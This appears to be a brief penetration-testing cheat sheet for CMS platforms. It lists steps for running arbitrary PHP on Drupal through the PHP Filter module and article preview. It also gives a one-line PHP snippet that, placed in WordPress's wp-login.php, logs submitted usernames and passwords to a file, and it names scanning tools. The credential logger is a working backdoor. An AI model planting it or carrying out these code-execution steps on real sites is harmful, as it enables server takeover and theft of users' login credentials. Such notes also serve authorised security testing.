CMS
Drupal
PHP Code Execution
- Enable PHP Filter module on the  Modules
 - Add content then to  Article
 - Pasting PHP into the article body
 - Changing the  Text format to PHP code
 - Clicking on  Preview
 
Tools
Wordpress
Log passwords from wp-login.php
file_put_contents("creds.txt",$_POST['log']." - ".$_POST['pwd'])
Tools
- WPScan - https://github.com/wpscanteam/wpscan
 - Droopescan - https://github.com/droope/droopescan
 - wpBullet - Static code analysis for WordPress Plugins/Themes